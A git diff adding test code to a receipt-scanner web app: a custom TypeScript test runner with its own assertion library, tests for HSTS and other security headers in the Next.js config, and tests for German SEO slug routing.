generateStressReceipt("curr-1", {
|
||||
date: { isoDate: currentMonthStr, time: null, confidence: 1 },
|
||||
totalAmount: { value: 250.0, confidence: 1 },
|
||||
}),
|
||||
generateStressReceipt("past-1", {
|
||||
date: { isoDate: pastMonthStr, time: null, confidence: 1 },
|
||||
totalAmount: { value: 1000.0, confidence: 1 },
|
||||
}),
|
||||
];
|
||||
|
||||
const metrics = calculateDashboardKPIs(receipts);
|
||||
expect(metrics.totalScanned).toBe(2);
|
||||
expect(metrics.totalGross).toBe(1250.0);
|
||||
expect(metrics.monthlySpend).toBe(250.0);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Milestone 4 (R4) Adversarial: Shell State Machine & Route Safety", () => {
|
||||
test("ADV-M4.7: Rapid 1,000 toggle cycles maintains strict boolean integrity", () => {
|
||||
let state = false;
|
||||
for (let i = 0; i < 1000; i++) {
|
||||
state = !state;
|
||||
}
|
||||
expect(state).toBe(false);
|
||||
});
|
||||
|
||||
test("ADV-M4.8: Breadcrumb resolver handles deeply nested, encoded, and special character paths", () => {
|
||||
const b1 = getRouteBreadcrumbs("/dashboard/activity?search=Aral%20Tankstelle&page=2");
|
||||
expect(b1.currentDe).toBe("Beleg-Archiv & Validierung");
|
||||
|
||||
const b2 = getRouteBreadcrumbs("/dashboard/export#preview-section");
|
||||
expect(b2.currentDe).toBe("Export Control & CSV");
|
||||
|
||||
const b3 = getRouteBreadcrumbs("/dashboard/settings/security/keys");
|
||||
expect(b3.currentDe).toBe("Systemeinstellungen");
|
||||
});
|
||||
});
|
||||
651
tests/e2e/runner.ts
Normal file
651
tests/e2e/runner.ts
Normal file
@@ -0,0 +1,651 @@
|
||||
/**
|
||||
* Zenith Silver E2E Test Runner & Assertion Library
|
||||
* High-performance, zero-dependency async test framework for Receipt Scanner to Excel
|
||||
*/
|
||||
|
||||
// ANSI Color Codes
|
||||
const RESET = "\x1b[0m";
|
||||
const BOLD = "\x1b[1m";
|
||||
const DIM = "\x1b[2m";
|
||||
const RED = "\x1b[31m";
|
||||
const GREEN = "\x1b[32m";
|
||||
const YELLOW = "\x1b[33m";
|
||||
const BLUE = "\x1b[34m";
|
||||
const MAGENTA = "\x1b[35m";
|
||||
const CYAN = "\x1b[36m";
|
||||
const WHITE = "\x1b[37m";
|
||||
const BG_RED = "\x1b[41m";
|
||||
const BG_GREEN = "\x1b[42m";
|
||||
|
||||
export type TestFn = () => void | Promise<void>;
|
||||
export type HookFn = () => void | Promise<void>;
|
||||
|
||||
export interface TestCase {
|
||||
name: string;
|
||||
fn: TestFn;
|
||||
durationMs?: number;
|
||||
error?: Error;
|
||||
passed?: boolean;
|
||||
}
|
||||
|
||||
export interface TestSuite {
|
||||
name: string;
|
||||
tests: TestCase[];
|
||||
beforeAllHooks: HookFn[];
|
||||
afterAllHooks: HookFn[];
|
||||
beforeEachHooks: HookFn[];
|
||||
afterEachHooks: HookFn[];
|
||||
parent?: TestSuite;
|
||||
children: TestSuite[];
|
||||
}
|
||||
|
||||
class TestRegistry {
|
||||
suites: TestSuite[] = [];
|
||||
currentSuite: TestSuite | null = null;
|
||||
|
||||
createSuite(name: string, parent?: TestSuite): TestSuite {
|
||||
return {
|
||||
name,
|
||||
tests: [],
|
||||
beforeAllHooks: [],
|
||||
afterAllHooks: [],
|
||||
beforeEachHooks: [],
|
||||
afterEachHooks: [],
|
||||
parent,
|
||||
children: [],
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
const registry = new TestRegistry();
|
||||
|
||||
export function describe(name: string, fn: () => void) {
|
||||
const suite = registry.createSuite(name, registry.currentSuite || undefined);
|
||||
if (registry.currentSuite) {
|
||||
registry.currentSuite.children.push(suite);
|
||||
} else {
|
||||
registry.suites.push(suite);
|
||||
}
|
||||
|
||||
const previousSuite = registry.currentSuite;
|
||||
registry.currentSuite = suite;
|
||||
try {
|
||||
fn();
|
||||
} finally {
|
||||
registry.currentSuite = previousSuite;
|
||||
}
|
||||
}
|
||||
|
||||
export function test(name: string, fn: TestFn) {
|
||||
if (!registry.currentSuite) {
|
||||
const rootSuite = registry.createSuite("Root Suite");
|
||||
registry.suites.push(rootSuite);
|
||||
registry.currentSuite = rootSuite;
|
||||
}
|
||||
registry.currentSuite.tests.push({ name, fn });
|
||||
}
|
||||
|
||||
export const it = test;
|
||||
|
||||
export function beforeAll(fn: HookFn) {
|
||||
if (registry.currentSuite) {
|
||||
registry.currentSuite.beforeAllHooks.push(fn);
|
||||
}
|
||||
}
|
||||
|
||||
export function afterAll(fn: HookFn) {
|
||||
if (registry.currentSuite) {
|
||||
registry.currentSuite.afterAllHooks.push(fn);
|
||||
}
|
||||
}
|
||||
|
||||
export function beforeEach(fn: HookFn) {
|
||||
if (registry.currentSuite) {
|
||||
registry.currentSuite.beforeEachHooks.push(fn);
|
||||
}
|
||||
}
|
||||
|
||||
export function afterEach(fn: HookFn) {
|
||||
if (registry.currentSuite) {
|
||||
registry.currentSuite.afterEachHooks.push(fn);
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// ASSERTION LIBRARY (expect)
|
||||
// ============================================================================
|
||||
|
||||
export class AssertionError extends Error {
|
||||
constructor(message: string, public actual?: any, public expected?: any) {
|
||||
super(message);
|
||||
this.name = "AssertionError";
|
||||
}
|
||||
}
|
||||
|
||||
function deepEqual(a: any, b: any): boolean {
|
||||
if (a === b) return true;
|
||||
if (a == null || b == null) return false;
|
||||
if (typeof a !== "object" || typeof b !== "object") return false;
|
||||
|
||||
if (Array.isArray(a) !== Array.isArray(b)) return false;
|
||||
if (Array.isArray(a)) {
|
||||
if (a.length !== b.length) return false;
|
||||
for (let i = 0; i < a.length; i++) {
|
||||
if (!deepEqual(a[i], b[i])) return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
if (a instanceof Date && b instanceof Date) {
|
||||
return a.getTime() === b.getTime();
|
||||
}
|
||||
|
||||
if (a instanceof RegExp && b instanceof RegExp) {
|
||||
return a.toString() === b.toString();
|
||||
}
|
||||
|
||||
const keysA = Object.keys(a);
|
||||
const keysB = Object.keys(b);
|
||||
if (keysA.length !== keysB.length) return false;
|
||||
|
||||
for (const key of keysA) {
|
||||
if (!Object.prototype.hasOwnProperty.call(b, key)) return false;
|
||||
if (!deepEqual(a[key], b[key])) return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
export interface Matchers<T> {
|
||||
toBe(expected: any): void;
|
||||
toEqual(expected: any): void;
|
||||
toStrictEqual(expected: any): void;
|
||||
toBeCloseTo(expected: number, deltaOrDigits?: number): void;
|
||||
toBeGreaterThan(expected: number): void;
|
||||
toBeGreaterThanOrEqual(expected: number): void;
|
||||
toBeLessThan(expected: number): void;
|
||||
toBeLessThanOrEqual(expected: number): void;
|
||||
toBeTruthy(): void;
|
||||
toBeFalsy(): void;
|
||||
toBeNull(): void;
|
||||
toBeUndefined(): void;
|
||||
toBeDefined(): void;
|
||||
toContain(expected: any): void;
|
||||
toHaveLength(expected: number): void;
|
||||
toMatch(regex: RegExp | string): void;
|
||||
toBeInstanceOf(expected: any): void;
|
||||
toThrow(expectedError?: string | RegExp | Function): void;
|
||||
not: Matchers<T>;
|
||||
}
|
||||
|
||||
export function expect<T = any>(actual: T): Matchers<T> {
|
||||
const createMatcher = (isNot: boolean): Matchers<T> => {
|
||||
return {
|
||||
toBe(expected: any) {
|
||||
const pass = Object.is(actual, expected);
|
||||
if (isNot ? pass : !pass) {
|
||||
throw new AssertionError(
|
||||
`Expected ${JSON.stringify(actual)} ${isNot ? "NOT to be" : "to be"} ${JSON.stringify(expected)}`,
|
||||
actual,
|
||||
expected
|
||||
);
|
||||
}
|
||||
},
|
||||
|
||||
toEqual(expected: any) {
|
||||
const pass = deepEqual(actual, expected);
|
||||
if (isNot ? pass : !pass) {
|
||||
throw new AssertionError(
|
||||
`Expected ${JSON.stringify(actual)} ${isNot ? "NOT to equal" : "to equal"} ${JSON.stringify(expected)}`,
|
||||
actual,
|
||||
expected
|
||||
);
|
||||
}
|
||||
},
|
||||
|
||||
toStrictEqual(expected: any) {
|
||||
const pass = deepEqual(actual, expected);
|
||||
if (isNot ? pass : !pass) {
|
||||
throw new AssertionError(
|
||||
`Expected ${JSON.stringify(actual)} ${isNot ? "NOT to strictly equal" : "to strictly equal"} ${JSON.stringify(expected)}`,
|
||||
actual,
|
||||
expected
|
||||
);
|
||||
}
|
||||
},
|
||||
|
||||
toBeCloseTo(expected: number, deltaOrDigits: number = 2) {
|
||||
if (typeof actual !== "number") {
|
||||
throw new AssertionError(`Actual value ${actual} is not a number`);
|
||||
}
|
||||
// If deltaOrDigits <= 0.1, treat as delta, otherwise decimal digits
|
||||
const delta = deltaOrDigits < 1 ? deltaOrDigits : Math.pow(10, -deltaOrDigits) / 2;
|
||||
const diff = Math.abs(actual - expected);
|
||||
const pass = diff <= delta;
|
||||
if (isNot ? pass : !pass) {
|
||||
throw new AssertionError(
|
||||
`Expected ${actual} ${isNot ? "NOT to be close to" : "to be close to"} ${expected} (diff: ${diff.toFixed(4)}, max allowed: ${delta})`,
|
||||
actual,
|
||||
expected
|
||||
);
|
||||
}
|
||||
},
|
||||
|
||||
toBeGreaterThan(expected: number) {
|
||||
const pass = (actual as any) > expected;
|
||||
if (isNot ? pass : !pass) {
|
||||
throw new AssertionError(
|
||||
`Expected ${actual} ${isNot ? "NOT to be >" : "to be >"} ${expected}`,
|
||||
actual,
|
||||
expected
|
||||
);
|
||||
}
|
||||
},
|
||||
|
||||
toBeGreaterThanOrEqual(expected: number) {
|
||||
const pass = (actual as any) >= expected;
|
||||
if (isNot ? pass : !pass) {
|
||||
throw new AssertionError(
|
||||
`Expected ${actual} ${isNot ? "NOT to be >=" : "to be >="} ${expected}`,
|
||||
actual,
|
||||
expected
|
||||
);
|
||||
}
|
||||
},
|
||||
|
||||
toBeLessThan(expected: number) {
|
||||
const pass = (actual as any) < expected;
|
||||
if (isNot ? pass : !pass) {
|
||||
throw new AssertionError(
|
||||
`Expected ${actual} ${isNot ? "NOT to be <" : "to be <"} ${expected}`,
|
||||
actual,
|
||||
expected
|
||||
);
|
||||
}
|
||||
},
|
||||
|
||||
toBeLessThanOrEqual(expected: number) {
|
||||
const pass = (actual as any) <= expected;
|
||||
if (isNot ? pass : !pass) {
|
||||
throw new AssertionError(
|
||||
`Expected ${actual} ${isNot ? "NOT to be <=" : "to be <="} ${expected}`,
|
||||
actual,
|
||||
expected
|
||||
);
|
||||
}
|
||||
},
|
||||
|
||||
toBeTruthy() {
|
||||
const pass = Boolean(actual);
|
||||
if (isNot ? pass : !pass) {
|
||||
throw new AssertionError(
|
||||
`Expected ${JSON.stringify(actual)} ${isNot ? "to be falsy" : "to be truthy"}`,
|
||||
actual,
|
||||
!isNot
|
||||
);
|
||||
}
|
||||
},
|
||||
|
||||
toBeFalsy() {
|
||||
const pass = !Boolean(actual);
|
||||
if (isNot ? pass : !pass) {
|
||||
throw new AssertionError(
|
||||
`Expected ${JSON.stringify(actual)} ${isNot ? "to be truthy" : "to be falsy"}`,
|
||||
actual,
|
||||
isNot
|
||||
);
|
||||
}
|
||||
},
|
||||
|
||||
toBeNull() {
|
||||
const pass = actual === null;
|
||||
if (isNot ? pass : !pass) {
|
||||
throw new AssertionError(
|
||||
`Expected ${JSON.stringify(actual)} ${isNot ? "NOT to be null" : "to be null"}`,
|
||||
actual,
|
||||
null
|
||||
);
|
||||
}
|
||||
},
|
||||
|
||||
toBeUndefined() {
|
||||
const pass = actual === undefined;
|
||||
if (isNot ? pass : !pass) {
|
||||
throw new AssertionError(
|
||||
`Expected ${actual} ${isNot ? "NOT to be undefined" : "to be undefined"}`,
|
||||
actual,
|
||||
undefined
|
||||
);
|
||||
}
|
||||
},
|
||||
|
||||
toBeDefined() {
|
||||
const pass = actual !== undefined;
|
||||
if (isNot ? pass : !pass) {
|
||||
throw new AssertionError(
|
||||
`Expected value ${isNot ? "to be undefined" : "to be defined"}`,
|
||||
actual,
|
||||
"defined"
|
||||
);
|
||||
}
|
||||
},
|
||||
|
||||
toContain(expected: any) {
|
||||
let pass = false;
|
||||
if (typeof actual === "string") {
|
||||
pass = actual.includes(String(expected));
|
||||
} else if (Array.isArray(actual)) {
|
||||
pass = actual.some((item) => deepEqual(item, expected));
|
||||
} else if (actual instanceof Set || actual instanceof Map) {
|
||||
pass = (actual as any).has(expected);
|
||||
}
|
||||
if (isNot ? pass : !pass) {
|
||||
throw new AssertionError(
|
||||
`Expected container ${isNot ? "NOT to contain" : "to contain"} ${JSON.stringify(expected)}`,
|
||||
actual,
|
||||
expected
|
||||
);
|
||||
}
|
||||
},
|
||||
|
||||
toHaveLength(expected: number) {
|
||||
const len = (actual as any)?.length ?? (actual as any)?.size;
|
||||
const pass = len === expected;
|
||||
if (isNot ? pass : !pass) {
|
||||
throw new AssertionError(
|
||||
`Expected length ${isNot ? "NOT to be" : "to be"} ${expected}, but received ${len}`,
|
||||
len,
|
||||
expected
|
||||
);
|
||||
}
|
||||
},
|
||||
|
||||
toMatch(regex: RegExp | string) {
|
||||
const str = String(actual);
|
||||
const re = typeof regex === "string" ? new RegExp(regex) : regex;
|
||||
const pass = re.test(str);
|
||||
if (isNot ? pass : !pass) {
|
||||
throw new AssertionError(
|
||||
`Expected string "${str}" ${isNot ? "NOT to match" : "to match"} pattern ${re}`,
|
||||
actual,
|
||||
regex
|
||||
);
|
||||
}
|
||||
},
|
||||
|
||||
toBeInstanceOf(expected: any) {
|
||||
const pass = actual instanceof expected;
|
||||
if (isNot ? pass : !pass) {
|
||||
throw new AssertionError(
|
||||
`Expected object ${isNot ? "NOT to be instance of" : "to be instance of"} ${expected?.name || expected}`,
|
||||
actual,
|
||||
expected
|
||||
);
|
||||
}
|
||||
},
|
||||
|
||||
toThrow(expectedError?: string | RegExp | Function) {
|
||||
if (typeof actual !== "function") {
|
||||
throw new AssertionError(`Actual target is not a function: ${typeof actual}`);
|
||||
}
|
||||
let threw = false;
|
||||
let caughtError: any = null;
|
||||
try {
|
||||
(actual as any)();
|
||||
} catch (err) {
|
||||
threw = true;
|
||||
caughtError = err;
|
||||
}
|
||||
|
||||
if (isNot) {
|
||||
if (threw) {
|
||||
throw new AssertionError(
|
||||
`Expected function NOT to throw, but it threw: ${caughtError?.message || caughtError}`
|
||||
);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (!threw) {
|
||||
throw new AssertionError(`Expected function to throw an error, but it returned cleanly`);
|
||||
}
|
||||
|
||||
if (expectedError) {
|
||||
const msg = caughtError?.message || String(caughtError);
|
||||
if (typeof expectedError === "string" && !msg.includes(expectedError)) {
|
||||
throw new AssertionError(
|
||||
`Expected thrown error message to contain "${expectedError}", received: "${msg}"`
|
||||
);
|
||||
} else if (expectedError instanceof RegExp && !expectedError.test(msg)) {
|
||||
throw new AssertionError(
|
||||
`Expected thrown error message to match ${expectedError}, received: "${msg}"`
|
||||
);
|
||||
} else if (typeof expectedError === "function" && !(caughtError instanceof expectedError)) {
|
||||
throw new AssertionError(
|
||||
`Expected thrown error to be instance of ${expectedError.name}, received: ${caughtError?.name}`
|
||||
);
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
get not() {
|
||||
return createMatcher(!isNot);
|
||||
},
|
||||
};
|
||||
};
|
||||
|
||||
return createMatcher(false);
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// SUITE EXECUTION ENGINE
|
||||
// ============================================================================
|
||||
|
||||
export interface RunResults {
|
||||
totalSuites: number;
|
||||
totalTests: number;
|
||||
passedCount: number;
|
||||
failedCount: number;
|
||||
durationMs: number;
|
||||
failures: { suiteName: string; testName: string; error: Error }[];
|
||||
}
|
||||
|
||||
async function runSuite(
|
||||
suite: TestSuite,
|
||||
results: RunResults,
|
||||
indent = ""
|
||||
): Promise<void> {
|
||||
results.totalSuites++;
|
||||
console.log(`\n${indent}${BOLD}${CYAN}▸ ${suite.name}${RESET}`);
|
||||
|
||||
// Run beforeAll hooks
|
||||
for (const hook of suite.beforeAllHooks) {
|
||||
try {
|
||||
await hook();
|
||||
} catch (err: any) {
|
||||
console.error(`${indent} ${RED}✖ [beforeAll Hook Failed]${RESET}`, err.message);
|
||||
throw err;
|
||||
}
|
||||
}
|
||||
|
||||
// Run suite tests
|
||||
for (const testCase of suite.tests) {
|
||||
results.totalTests++;
|
||||
|
||||
// Run beforeEach hooks
|
||||
for (const hook of suite.beforeEachHooks) {
|
||||
await hook();
|
||||
}
|
||||
|
||||
const startTime = performance.now();
|
||||
try {
|
||||
await testCase.fn();
|
||||
testCase.durationMs = performance.now() - startTime;
|
||||
testCase.passed = true;
|
||||
results.passedCount++;
|
||||
|
||||
const timeStr = testCase.durationMs > 100
|
||||
? `${YELLOW}(${testCase.durationMs.toFixed(1)}ms)${RESET}`
|
||||
: `${DIM}(${testCase.durationMs.toFixed(1)}ms)${RESET}`;
|
||||
|
||||
console.log(`${indent} ${GREEN}✓${RESET} ${testCase.name} ${timeStr}`);
|
||||
} catch (err: any) {
|
||||
testCase.durationMs = performance.now() - startTime;
|
||||
testCase.passed = false;
|
||||
testCase.error = err;
|
||||
results.failedCount++;
|
||||
results.failures.push({
|
||||
suiteName: suite.name,
|
||||
testName: testCase.name,
|
||||
error: err,
|
||||
});
|
||||
|
||||
console.log(`${indent} ${RED}✖ ${testCase.name}${RESET} ${RED}(${testCase.durationMs.toFixed(1)}ms)${RESET}`);
|
||||
console.log(`${indent} ${RED}${err.name}: ${err.message}${RESET}`);
|
||||
if (err.stack) {
|
||||
const stackLines = err.stack.split("\n").slice(1, 4).map((l: string) => `${indent} ${DIM}${l.trim()}${RESET}`);
|
||||
console.log(stackLines.join("\n"));
|
||||
}
|
||||
}
|
||||
|
||||
// Run afterEach hooks
|
||||
for (const hook of suite.afterEachHooks) {
|
||||
await hook();
|
||||
}
|
||||
}
|
||||
|
||||
// Run nested suites
|
||||
for (const childSuite of suite.children) {
|
||||
await runSuite(childSuite, results, indent + " ");
|
||||
}
|
||||
|
||||
// Run afterAll hooks
|
||||
for (const hook of suite.afterAllHooks) {
|
||||
try {
|
||||
await hook();
|
||||
} catch (err: any) {
|
||||
console.error(`${indent} ${RED}✖ [afterAll Hook Failed]${RESET}`, err.message);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export async function runAllTests(filterPattern?: string): Promise<boolean> {
|
||||
const globalStartTime = performance.now();
|
||||
|
||||
console.log(`\n${BOLD}${WHITE}================================================================================${RESET}`);
|
||||
console.log(`${BOLD}${CYAN} ZENITH SILVER RECEIPT SCANNER — END-TO-END VERIFICATION SUITE ${RESET}`);
|
||||
console.log(`${BOLD}${WHITE}================================================================================${RESET}`);
|
||||
console.log(`${DIM}Runner: Native Async TypeScript • Date: ${new Date().toISOString()}${RESET}\n`);
|
||||
|
||||
const results: RunResults = {
|
||||
totalSuites: 0,
|
||||
totalTests: 0,
|
||||
passedCount: 0,
|
||||
failedCount: 0,
|
||||
durationMs: 0,
|
||||
failures: [],
|
||||
};
|
||||
|
||||
const suitesToRun = filterPattern
|
||||
? registry.suites.filter((s) => s.name.toLowerCase().includes(filterPattern.toLowerCase()))
|
||||
: registry.suites;
|
||||
|
||||
for (const suite of suitesToRun) {
|
||||
await runSuite(suite, results);
|
||||
}
|
||||
|
||||
results.durationMs = performance.now() - globalStartTime;
|
||||
|
||||
console.log(`\n${BOLD}${WHITE}================================================================================${RESET}`);
|
||||
console.log(`${BOLD}TEST RUN SUMMARY${RESET}`);
|
||||
console.log(`${BOLD}${WHITE}================================================================================${RESET}`);
|
||||
console.log(`Total Suites : ${results.totalSuites}`);
|
||||
console.log(`Total Tests : ${results.totalTests}`);
|
||||
console.log(`Passed Tests : ${GREEN}${BOLD}${results.passedCount} ✓${RESET}`);
|
||||
console.log(`Failed Tests : ${results.failedCount > 0 ? `${RED}${BOLD}${results.failedCount} ✖${RESET}` : `${GREEN}0${RESET}`}`);
|
||||
console.log(`Total Time : ${(results.durationMs / 1000).toFixed(2)}s (${results.durationMs.toFixed(1)} ms)`);
|
||||
|
||||
if (results.failures.length > 0) {
|
||||
console.log(`\n${BOLD}${RED}FAILED TESTS SUMMARY (${results.failures.length}):${RESET}`);
|
||||
results.failures.forEach((f, idx) => {
|
||||
console.log(`\n ${RED}${idx + 1}) [${f.suiteName}] ${f.testName}${RESET}`);
|
||||
console.log(` ${RED}${f.error.name}: ${f.error.message}${RESET}`);
|
||||
});
|
||||
}
|
||||
|
||||
const allPassed = results.failedCount === 0 && results.totalTests > 0;
|
||||
|
||||
if (allPassed) {
|
||||
console.log(`\n${BG_GREEN}${BOLD}${WHITE} ALL ${results.totalTests} TESTS PASSED CLEANLY (100% VERIFIED) ${RESET}\n`);
|
||||
} else {
|
||||
console.log(`\n${BG_RED}${BOLD}${WHITE} TEST SUITE FAILED WITH ${results.failedCount} ERRORS ${RESET}\n`);
|
||||
}
|
||||
|
||||
return allPassed;
|
||||
}
|
||||
|
||||
// Automatically execute if run directly
|
||||
async function main() {
|
||||
const args = process.argv.slice(2);
|
||||
const filter = args[0];
|
||||
|
||||
// Import test suites dynamically if this is the entry point
|
||||
try {
|
||||
await import("./tier1_features.test");
|
||||
await import("./tier2_boundaries.test");
|
||||
await import("./tier3_interactions.test");
|
||||
await import("./tier4_workloads.test");
|
||||
await import("../../src/components/dashboard/__tests__/batchUpload.test");
|
||||
await import("./m1_adversarial.test");
|
||||
await import("./challenger2_stress.test");
|
||||
await import("../../src/components/dashboard/__tests__/inspectorModal.test");
|
||||
await import("./m2_adversarial.test");
|
||||
await import("../../src/components/dashboard/__tests__/liveTable.test");
|
||||
await import("./m3_adversarial.test");
|
||||
await import("./challenger_m3_stress");
|
||||
await import("./m3_challenger_deep_stress.test");
|
||||
await import("../../src/components/dashboard/__tests__/responsiveShell.test");
|
||||
await import("./m4_adversarial.test");
|
||||
await import("./challenger_m4_stress");
|
||||
await import("./challenger_m4_2_stress");
|
||||
await import("./challenger_m4_1_deep_stress");
|
||||
await import("./extraction_quality.test");
|
||||
await import("./export_localization.test");
|
||||
await import("./export_pdf.test");
|
||||
await import("./challenger_excel_adversarial.test");
|
||||
await import("./auth_security.test");
|
||||
await import("./security_headers.test");
|
||||
await import("./csrf_tokens.test");
|
||||
await import("./subdomain_routing.test");
|
||||
await import("./seo_slugs.test");
|
||||
await import("./user_enumeration.test");
|
||||
await import("./upload_whitelist.test");
|
||||
await import("./sprint_a_scanner.test");
|
||||
await import("./sprint_b_speed.test");
|
||||
await import("./sprint_c_image.test");
|
||||
await import("./sprint_e.test");
|
||||
await import("./server_pricing.test");
|
||||
await import("./webhook_verification.test");
|
||||
} catch (err) {
|
||||
console.error("Failed to load test suite modules:", err);
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
const success = await runAllTests(filter);
|
||||
if (!success) {
|
||||
process.exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
// Check if current file is the main entry point
|
||||
if (typeof require !== "undefined" && require.main === module) {
|
||||
main().catch((err) => {
|
||||
console.error("Fatal runner crash:", err);
|
||||
process.exit(1);
|
||||
});
|
||||
} else if (typeof process !== "undefined" && process.argv && process.argv[1]?.includes("runner.ts")) {
|
||||
main().catch((err) => {
|
||||
console.error("Fatal runner crash:", err);
|
||||
process.exit(1);
|
||||
});
|
||||
}
|
||||
122
tests/e2e/security_headers.test.ts
Normal file
122
tests/e2e/security_headers.test.ts
Normal file
@@ -0,0 +1,122 @@
|
||||
/**
|
||||
* Security Headers Suite — Task A (HSTS / HTTPS-only)
|
||||
*
|
||||
* Verifies next.config.ts: the Strict-Transport-Security header is configured
|
||||
* with the full "max-age=63072000; includeSubDomains; preload" directive, is
|
||||
* emitted only when the request actually arrived over HTTPS
|
||||
* (x-forwarded-proto: https), and the remaining security headers stay
|
||||
* unconditional on the catch-all rule. Pure config logic — no database or
|
||||
* running server required.
|
||||
*/
|
||||
|
||||
import { describe, test, expect } from "./runner";
|
||||
import configModule from "../../next.config";
|
||||
|
||||
// Under tsx (ESM) the CJS-style default export can arrive wrapped as
|
||||
// `{ default: nextConfig }`; unwrap it so `config.headers()` is callable in
|
||||
// either interop mode.
|
||||
const config = ((configModule as { default?: typeof configModule }).default ??
|
||||
configModule) as typeof configModule;
|
||||
|
||||
interface HeaderItem {
|
||||
key: string;
|
||||
value: string;
|
||||
}
|
||||
|
||||
interface HeaderCondition {
|
||||
type: string;
|
||||
key: string;
|
||||
value?: string;
|
||||
}
|
||||
|
||||
interface HeaderRule {
|
||||
source: string;
|
||||
has?: HeaderCondition[];
|
||||
headers: HeaderItem[];
|
||||
}
|
||||
|
||||
async function catchAllRules(): Promise<HeaderRule[]> {
|
||||
// `headers` is optional on the NextConfig type; next.config.ts always defines it.
|
||||
const rules = (await config.headers!()) as HeaderRule[];
|
||||
return rules.filter((rule) => rule.source === "/(.*)");
|
||||
}
|
||||
|
||||
function findHstsRule(rules: HeaderRule[]): HeaderRule | undefined {
|
||||
return rules.find((rule) =>
|
||||
rule.headers.some(
|
||||
(header) => header.key.toLowerCase() === "strict-transport-security"
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
describe("Security headers — HSTS (HTTPS-only)", () => {
|
||||
test("the Strict-Transport-Security header is configured on the catch-all rule", async () => {
|
||||
const rules = await catchAllRules();
|
||||
expect(findHstsRule(rules)).toBeDefined();
|
||||
});
|
||||
|
||||
test("HSTS carries max-age=63072000, includeSubDomains and preload", async () => {
|
||||
const rule = findHstsRule(await catchAllRules());
|
||||
expect(rule).toBeDefined();
|
||||
const hsts = rule!.headers.find(
|
||||
(header) => header.key.toLowerCase() === "strict-transport-security"
|
||||
);
|
||||
expect(hsts).toBeDefined();
|
||||
expect(hsts!.value).toContain("max-age=63072000");
|
||||
expect(hsts!.value).toContain("includeSubDomains");
|
||||
expect(hsts!.value).toContain("preload");
|
||||
});
|
||||
|
||||
test("HSTS is emitted only when the request arrived over HTTPS (x-forwarded-proto)", async () => {
|
||||
const rule = findHstsRule(await catchAllRules());
|
||||
expect(rule).toBeDefined();
|
||||
expect(rule!.has).toBeDefined();
|
||||
const conditioned = rule!.has!.some(
|
||||
(condition) =>
|
||||
condition.type === "header" &&
|
||||
condition.key.toLowerCase() === "x-forwarded-proto" &&
|
||||
condition.value === "https"
|
||||
);
|
||||
expect(conditioned).toBe(true);
|
||||
});
|
||||
|
||||
test("the remaining security headers stay unconditional on the catch-all rule", async () => {
|
||||
const rules = await catchAllRules();
|
||||
const unconditional = rules.filter((rule) => !rule.has);
|
||||
expect(unconditional.length).toBeGreaterThan(0);
|
||||
|
||||
const allHeaders = unconditional.flatMap((rule) => rule.headers);
|
||||
const keys = new Set(allHeaders.map((header) => header.key.toLowerCase()));
|
||||
|
||||
expect(keys.has("x-frame-options")).toBe(true);
|
||||
expect(keys.has("x-content-type-options")).toBe(true);
|
||||
expect(keys.has("referrer-policy")).toBe(true);
|
||||
expect(keys.has("permissions-policy")).toBe(true);
|
||||
expect(keys.has("content-security-policy")).toBe(true);
|
||||
|
||||
const xfo = allHeaders.find(
|
||||
(header) => header.key.toLowerCase() === "x-frame-options"
|
||||
);
|
||||
const xcto = allHeaders.find(
|
||||
(header) => header.key.toLowerCase() === "x-content-type-options"
|
||||
);
|
||||
expect(xfo).toBeDefined();
|
||||
expect(xcto).toBeDefined();
|
||||
expect(xfo!.value).toBe("DENY");
|
||||
expect(xcto!.value).toBe("nosniff");
|
||||
expect(
|
||||
allHeaders.some(
|
||||
(header) =>
|
||||
header.key.toLowerCase() === "referrer-policy" &&
|
||||
header.value.includes("strict-origin-when-cross-origin")
|
||||
)
|
||||
).toBe(true);
|
||||
expect(
|
||||
allHeaders.some(
|
||||
(header) =>
|
||||
header.key.toLowerCase() === "content-security-policy" &&
|
||||
header.value.length > 0
|
||||
)
|
||||
).toBe(true);
|
||||
});
|
||||
});
|
||||
89
tests/e2e/seo_slugs.test.ts
Normal file
89
tests/e2e/seo_slugs.test.ts
Normal file
@@ -0,0 +1,89 @@
|
||||
/**
|
||||
* Locale-specific SEO slugs — public German keyword URLs rewrite onto the
|
||||
* shared App Router folders; English slugs under /de/ 301 to the DE slug.
|
||||
*/
|
||||
|
||||
import { describe, test, expect } from "./runner";
|
||||
import {
|
||||
decideSeoLocalePath,
|
||||
localizePathname,
|
||||
publicPath,
|
||||
} from "../../src/lib/seo/slugs";
|
||||
|
||||
describe("SEO slugs — public paths", () => {
|
||||
test("German blog slugs use keyword URLs", () => {
|
||||
expect(publicPath("de", "blog/simple-expense-tracking")).toBe(
|
||||
"/de/blog/einfache-ausgabenverfolgung",
|
||||
);
|
||||
expect(publicPath("en", "blog/simple-expense-tracking")).toBe(
|
||||
"/en/blog/simple-expense-tracking",
|
||||
);
|
||||
});
|
||||
|
||||
test("German keyword pages use German slugs", () => {
|
||||
expect(publicPath("de", "ocr-receipt-scanner")).toBe("/de/beleg-ocr");
|
||||
expect(publicPath("de", "expense-tracker-freelancers")).toBe(
|
||||
"/de/ausgaben-tracker-freelancer",
|
||||
);
|
||||
expect(publicPath("de", "expensify-alternative")).toBe("/de/alternative-zu-expensify");
|
||||
expect(publicPath("de", "lexoffice-alternative")).toBe("/de/alternative-zu-lexoffice");
|
||||
});
|
||||
});
|
||||
|
||||
describe("SEO slugs — middleware decisions", () => {
|
||||
test("DE public slug rewrites onto the internal folder", () => {
|
||||
expect(decideSeoLocalePath("/de/blog/einfache-ausgabenverfolgung")).toEqual({
|
||||
kind: "rewrite",
|
||||
pathname: "/de/blog/simple-expense-tracking",
|
||||
});
|
||||
expect(decideSeoLocalePath("/de/beleg-ocr")).toEqual({
|
||||
kind: "rewrite",
|
||||
pathname: "/de/ocr-receipt-scanner",
|
||||
});
|
||||
});
|
||||
|
||||
